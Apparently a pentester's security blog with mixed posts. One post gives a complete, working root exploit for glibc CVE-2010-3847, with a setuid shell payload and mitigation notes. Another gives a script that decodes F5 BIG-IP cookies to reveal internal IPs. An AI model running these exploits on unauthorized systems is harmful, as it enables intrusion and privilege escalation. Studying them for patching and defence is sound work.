teste
Posted in Sem categoria on 01/05/2013 by firebitsExploit cookie Session BIGIP Load Balancer – reverse cookie session IP LAN
Posted in Segurança with tags pentest on 01/05/2013 by firebitsWas making a Pentest on a client where the Load Balancer was BIG iP and got to rollback the session cookie, so getting the internal IP.
PoC (Proof of Concept)
#!/usr/bin/env python
# Mauro Risonho de Paula Assumpcao
# Pentester
# mrpa.security@gmail.com
# twitter @firebitsbr
# Exploit cookie Session BIGIP Load Balancer
# F5 BIG-IP Cookie Persistence (OID: 1.3.6.1.4.1.25623.1.0.20089)
#
# exploit_BIGIP_firebits_rev01
# example string BIGIP Client: 100733612.18724.0000
import struct
import sys
if len(sys.argv) != 2:
print “Usage: %s encoded_string” % sys.argv[0]
exit(1)
encoded_string = sys.argv[1]
print “\n[*] String to decode: %s\n” % encoded_string
(host, port, end) = encoded_string.split(‘.’)
(a, b, c, d) = [ord(i) for i in struct.pack(“<I”, int(host))]
print “[*] Decoded IP: %s.%s.%s.%s.\n” % (a,b,c,d)
Vulnerabilities detected OpenVAS:
In the case OpenVAS in Solution:
http://asia.f5.com/solutions/archives/techbriefs/cookie.html
The link no longer exists.
@firebitsbr
sectool : Tool for Security Audit Tool and IDS
Posted in Backtrack 4RC2 on 03/03/2011 by firebitssectool is often a security tool that will be applied each like a security audit along with a component of an intrusion detection system. It consists of set of tests, library and textual , graphical frontend. Screening are sorted into groups and security levels. Administrators can run a number of tests, groups or whole security levels.
3089d9875bf0b41a8f5405171c5f3661.jpg
Security Levels in sectool
1.Naive – pretty basic and short set of tests
2.Desktop – set of tests prepared to run on box not connected to internet
3.Network – standard client machine connected to internet
4.Server – network server
5.Paranoid – bunch of tests for paranoid admins
The tests print several type of messages during their execution. “Warning” and “Error” messages are used to inform about discovered security risks.warning – something that admin should know about
error – issues that should be fixed
Then there are another two messages: “Hint” and “Info”. These two are not print by default, so they need to be turned on.hint – helps to find a way how to resolve discovered issue
info – provides information what does the test do at the momentTest Results of sectool
Every test run is finished with one of these results:
– PASS – Everything went OK, no security risks were discovered
– WARNING – only warning messages were print
– ERROR – at least one security issue was discovered
– FAIL – internal test problem appears, test can’t be runOperating system supported
Currently *nix
We hope support for windows wil be added soon .Download sectool v0.9.4 Here
@firebitsbr
BT4RC2: Darik’s Boot And Nuke (Anti-Forensics)
Posted in Forense with tags Backtrack on 03/03/2011 by firebitsInsert in:
Logo “Dragon”-> Backtrack-> Digital Forensics->Anti-Forensics
Darik’s Boot and Nuke (“DBAN”) is a self-contained boot disk that securely wipes the hard disks of most computers. DBAN will automatically and completely delete the contents of any hard disk that it can detect, which makes it an appropriate utility for bulk or emergency data destruction.
@firebitsbr
MySQL SQL Injection
Posted in MySQL on 03/03/2011 by firebitsSuegestões de pesquisa para SQL Injection no MySQL, o problema é quando o resultado não é o esperado, o mesmo não retorna o erro da tabela de erros do MySQL.
Clique para acessar o guide-to-php-security-ch3.pdf
http://www.google.com/search?client=ubuntu&channel=fs&q=sql+injection+mysql&ie=utf-8&oe=utf-8
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.tizag.com/mysqlTutorial/mysql-php-sql-injection.php
Minha experiência no 2º OWASP 2010 – AppSec 2010 Cpqd – Campinas-SP Brasil
Posted in Palestras on 24/11/2010 by firebitsChegamos ao evento no horário do almoço. O Cpqd é um ótimo local para eventos como este e outros, mas o ideal para que quer ter acesso à transporte que se vá de carro ou táxi, pois ônibus do transporte público é um “pouco” fora de mão para quem não conhece plenamente.
Eu estive lá no ano de 1998, quando estava terminando meu Técnico em Processamento de Dados e nos apresentaram alguns trabalhos em fibra óptica.
Em 12 anos, para mim, a estrutura do Cpqd não mudou em sua arquitetura.
Um palestrante que pude conversar, foi o:
15:20 – 16:10 Mano Paul
Wild Wild Wild Security Planet
Logo após o break. Perguntei à ele se conhecia o Aditya K Sood e ele disse que apenas “ouviu falar, mas não teve a oportunidade ainda”. É outro cara que é gente boa, humilde e manja também. Ele trouxe a esposa e o filho pequeno, que formam um linda família. Também eu e minha esposa podemos conhecê-los.
Perguntei se ele conhecia o projeto Backtrack-Linux.org e que tenho contato diretamente com o Muts (CEO do Backtrack) e nosso projeto no Brasil, o Backtrack Brasil http://www.backtrack.com.br ele disse que conheceu o muts na Blackhat de 2010 (este ano).
Um cara que já algum tempo, via email, era o Tony Rodrigues. Gente boa, humilde e conhece muito de forense, como todos já sabem. A palestra dele sobre Tony’s Top 10 Application Artifacts: A Computer Forensics Approach to OWASP Top 10, foi genial pois ele fez uma “ponte” entre forense e o projeto OWASP.
Minha palestra:
17:20 – 18:10 Mauro Risonho de Paula Assumpção
The Tao of Hacking – Detecção de vulnerabilidades em dispositivos de rede baseados em web
Foi trocada de horário com o do palestrante:
18:10 – 18:50 Dinis Cruz
OWASP O2 Project
Devido ao horário do vôo do Dinis Cruz, à pedido do Lucas da OWASP. Conversei com o Dinis Cruz, sobre isso e outros assuntos relevantes e como meu inglês básico e ele sabe nosso português, ficou fácil a comunicação.
O cara é gente boa, humilde e manja.
Palestra e paper aceito na OWASP 2010 AppSec 2010 Cpqd Campinas-SP Brasil
Posted in Palestras on 24/11/2010 by firebitsMeu paper (criado em conjunto do meu brother Aditya K Sood) foi aceito na OWASP 2010 AppSec 2010 Cpqd Campinas-SP Brasil, com o tema:
The Tao of Hacking – Detecção de vulnerabilidades em dispositivos de rede baseados em web
http://www.owasp.org/index.php/AppSec_Brasil_2010_%28pt-br%29#tab=Palestras
Demais autores: Aditya K Sood
Resumo: Este paper refere-se as falhas de projeto e vulnerabilidades em vários dispositivos de rede periféricos usados para a segurança que estão e tem interfaces web. Nós estaremos falando sobre algumas das vulnerabilidades que temos descobertos enquanto fazemos pentests e testamos esses dispositivos. Além disso, essa palestra também coloca ênfase na coleta de informações sobre redes internas dos dispositivos de rede como balanceadores de carga, firewalls, estações de disco, proxies, câmeras de vigilância, etc O objetivo é reunir o máximo de informação a partir destes dispositivos e usar essa informação para testar a segurança desses dispositivos e detecção de vulnerabilidades em si. Esta palestra é conceitual e puramente técnica, sendo projetada de uma maneira fácil de compartilhar informações entre as massas
Biografia: Sr. Mauro Risonho de Paula Assumpção aka firebits é pesquisador de segurança e palestrante em conferências de segurança. Ele está trabalhando como diretor em NSEC Security Systems, uma organização que presta serviços de Consultoria de Segurança e testes de penetração. Ele tem realizado várias testes de segurança e desenvolvimento de projetos para organizações como Intel, Google, Microsiga, Avon, CMS Energy, Unilever, Rhodia, Tostines, a Degussa, Niplan e outros. Ele é fundador e de “Backtrack Brasil” e Moderador e Tradutor Backtrack EUA.
Aditya K Sood é um pesquisador de segurança, consultor e doutorando em Ciência da Computação na Michigan State University. Ele tem trabalhado no domínio da segurança para Armorize, COSEINC e KPMG. Ele é um dos fundadores da empresa de segurança SecNiche, um espaço independente para pesquisa de segurança. Ele tem participado ativamente em congressos como o RSA (EUA 2010), TRISC, EuSecwest, XCON, Soldados, OWASP AppSec, FOSS, CERT-IN etc. Ele tem escrito para HITB Ezine, Hakin9, Login Usenix, periódicos Elsevier, Debbugged! MZ/PE. Ele lançou vários alertas para companhias de vanguarda. Além de seu trabalho de rotina normal, ele gosta de fazer muita pesquisa baseada na web e projetar vetores de ataque.
Executando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux
Posted in exploits, linux on 20/10/2010 by firebitsExecutando o exploit no pacote glibc-2.5.49.el5_5.i686 CVE-2010-3847 escala de privilégios -> root em qualquer Linux
A falha que estou falando é notícia no site underlinux.org
http://under-linux.org/privilegios-de-root-atraves-de-vulnerabilidade-na-biblioteca-gnu-c-1855/ e maiores detalhes em:
https://bugzilla.redhat.com/show_bug.cgi?id=643306 e em http://secunia.com/advisories/cve_reference/CVE-2010-3847/, pois até a data deste artigo a pedido do fabricante não liberam no CVE, mais informações
OBS: Testado e comprovado com sucesso em VM local que produzi em LAB, mas não utilizando a produção ou derivados. Tenha cuidado.
O autor deste artigo não se responsabiliza por dados mediante este artigo ou derivados.
PoC Exploit (Proof of Concept Exploit)
Crie um usuário teste, set a senha e depois autentique com o mesmo
$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system(“/bin/bash”);
}
^D
(Ctrl+D) <— parte as teclas para salvar e sair
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT=”\$ORIGIN” exec /proc/self/fd/3
# whoami
root
id
uid=0(root) gid=500(teste)
Mitigação
========
Evitar de criar usuários em filesystems sem permissão nosuid
Caso não seja possível, há um paleativo:
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp
Solução
=======
Atualizar glibc-2.5.49.el5_5.i686 -> com yum update caso já haja glibc atual.
Foi exploitado sem sucesso em uma VM Local no CentOS 5.5, sem sucesso. O que pude concluir que a atualização da glibc contorna a falha, mas deve-se avaliar melhor e com cautela, pois a atualização da glibc, sem total atualização do SO de CentOS 5.3 -> CentOS 5.5 pode o acarretar em “crash” total do SO, devido à esta biblioteca ser uma das principais do SO.
Qualquer dúvida, estou à disposição.
@firebitsbr
firebits.wordpress.com
http://www.backtrack.com.br
http://www.backtrack-linux.org
firebits@backtrack.com.br
Backtrack 4 RC1 – HowTo Install Immunity Debugger by Wine
Posted in debuggers on 18/10/2010 by firebitslink for download:
IMMUNITY : Knowing You’re Secure
News
IMMUNITY : Knowing You’re Secure
Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry’s first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.
- A debugger with functionality designed specifically for the security industry
- Cuts exploit development time by 50%
- Simple, understandable interfaces
- Robust and powerful scripting language for automating intelligent debugging
- Lightweight and fast debugging to prevent corruption during complex analysis
- Connectivity to fuzzers and exploit development tools
The Best of Both Worlds
Immunity Debugger’s interfaces include the GUI and a command line. The command line is always available at the bottom of the GUI. It allows the user to type shortcuts as if they were in a typical text-based debugger, such as WinDBG or GDB. Immunity has implemented aliases to ensure that your WinDBG users do not have to be retrained and will get the full productivity boost that comes from the best debugger interface on the market.Commands can be extended in Python as well, or run from the menu-bar.
HowTo Install Immunity Debugger by Wine
Step 1
Create folders in:/pentest/re/immunity_debugger
Step 2a
Click in file:
ImmunityDebugger_1_73_setup.exeStep 2b
Click in “I Agree”Step 3
Click in “Install” and use Path C:\Program Files\Immunity Inc\Immunity DebuggerStep 4
Download Python 2.7 ReleaseStep 5
Execute shell:
#wine msiexec /i python-2.7.msiStep 6
Option “Install for all users”C:\Python27\
next, next, next and FinishStep 7
Delete desktop icon “Immunity Debugger”Step 8
– Click “Dragon Icon” right click and click “Menu Editor”
– Move Menu “Wine->Programs->Immunity Inc->” to “Backtrack”->Reverse Engineering””Step 9
Save “menu editor” File->SaveStep 10
Click “Dragon Icon”->”Backtrack”->”Reverse Engineering”->”Immunity Inc”->”Immunity Debugger”->”Immunity Debugger”Happy Exploits, Shellcodes, Nops:)
@firebitsbr
Depois do “freezer” de alguns meses…voltamos!!!
Posted in Sem categoria on 17/10/2010 by firebitsDepois do “freezer” de alguns meses…voltamos!!! Estou com novas idéias, artigos e dicas.